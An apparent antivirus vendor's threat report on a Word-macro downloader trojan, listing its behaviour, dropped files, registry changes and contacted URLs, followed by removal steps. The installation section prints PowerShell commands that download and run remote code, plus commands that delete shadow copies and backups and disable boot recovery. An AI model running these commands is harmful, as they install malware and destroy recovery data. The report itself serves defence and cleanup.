PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 13,631,489 bytes
File Type: DOC
Memory Resident: Yes
Initial Samples Received Date: 17 Oct 2019

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • "%System%\WindowsPowerShell\v1.0\powershell.exe" iex ((New-Object Net.WebClient).DownloadString('http://power.{BLOCKED}power.com/?{random characters}'));
  • powershell iex ((New-Object Net.WebClient).DownloadString('http://power.{BLOCKED}power.com/?{random characters}'));
  • "%System%\schtasks.exe" /create /TN WindowsApplicationService /sc DAILY /st 00:00 /f /RI 17 /du 23:59 /TR %System Root%\Users\Public\Libraries\WindowsIndexingService.vbs
  • %System%\cmd.exe /c bcdedit /set xushcczd bootstatuspolicy ignoreallfailures
  • %System%\cmd.exe /c bcdedit /set xushcczd recoveryenabled no
  • %System%\cmd.exe /c wbadmin delete catalog -quiet
  • %System%\cmd.exe /c wbadmin delete systemstatebackup
  • %System%\cmd.exe /c wbadmin delete backup
  • %System%\cmd.exe /c vssadmin delete shadows /all /quiet
  • %System%\svchost.exe -k LocalServiceAndNoImpersonation

It creates the following folders:

  • %System Root%\Users\Public\OracleKit

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

Autostart Technique

This Trojan drops the following file(s) in the Windows User Startup folder to enable its automatic execution at every system startup:

  • %User Startup%\WindowsApplicationService.lnk

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).)

Other System Modifications

This Trojan modifies the following file(s):

  • %Application Data%\Microsoft\Office\Word12.pip

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It deletes the following files:

  • %Windows%\Tasks\WindowsApplicationService.job

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It modifies the following registry entries:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\BITS
Start = "3"

(Note: The default value data of the said registry entry is 3.)

Dropping Routine

This Trojan drops the following files:

  • %All Users Profile%\Microsoft\Network\Downloader\qmgr1.dat
  • %System Root%\Users\Public\Libraries\WindowsIndexingService.vbs
  • %System Root%\Users\Public\Libraries\302132
  • %Application Data%\Microsoft\UProof\CUSTOM.DIC
  • %System Root%\Users\Public\OracleKit\w00log03.tmp
  • %Application Data%\Microsoft\Office\Word12.pip
  • %All Users Profile%\Microsoft\Network\Downloader\qmgr0.dat

(Note: %All Users Profile% is the common user's profile folder, which is usually C:\Documents and Settings\All Users on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit). . %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://power.{BLOCKED}power.com/?{random characters}
  • http://ceco.{BLOCKED}geins.co/?need=aegzfej&vid=dpec11&
  • http://connect.{BLOCKED}geagencies.com

This report is generated via an automated analysis system.

  SOLUTION

Minimum Scan Engine: 9.850

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Restart in Safe Mode

[ Learn More ]

Step 3

Identify and terminate files detected as Trojan.W97M.POWLOAD.THJAGAI

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Restore these modified registry values

[ Learn More ]

Important:Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this only if you know how to or you can seek your system administrator's help. You may also check out this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\BITS
    • From: Start = "3"
      To: Start = ""3""

Step 5

Search and delete these components

[ Learn More ]
There may be some components that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %All Users Profile%\Microsoft\Network\Downloader\qmgr1.dat
  • %System Root%\Users\Public\Libraries\WindowsIndexingService.vbs
  • %System Root%\Users\Public\Libraries\302132
  • %Application Data%\Microsoft\UProof\CUSTOM.DIC
  • %System Root%\Users\Public\OracleKit\w00log03.tmp
  • %Application Data%\Microsoft\Office\Word12.pip
  • %All Users Profile%\Microsoft\Network\Downloader\qmgr0.dat

Step 6

Search and delete this folder

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %System Root%\Users\Public\OracleKit

Step 7

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.W97M.POWLOAD.THJAGAI. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 8

Restore deleted/modified files and/or registry entries from backup

*Note: Only Microsoft-related files/keys/values will be restored. If this malware/grayware also deleted registry keys/values related to programs that are not from Microsoft, please reinstall those programs on your computer.

    • %Application Data%\Microsoft\Office\Word12.pip

Step 9

Restore this file from backup only Microsoft-related files will be restored. If this malware/grayware also deleted files related to programs that are not from Microsoft, please reinstall those programs on you computer again.

  • %Windows%\Tasks\WindowsApplicationService.job


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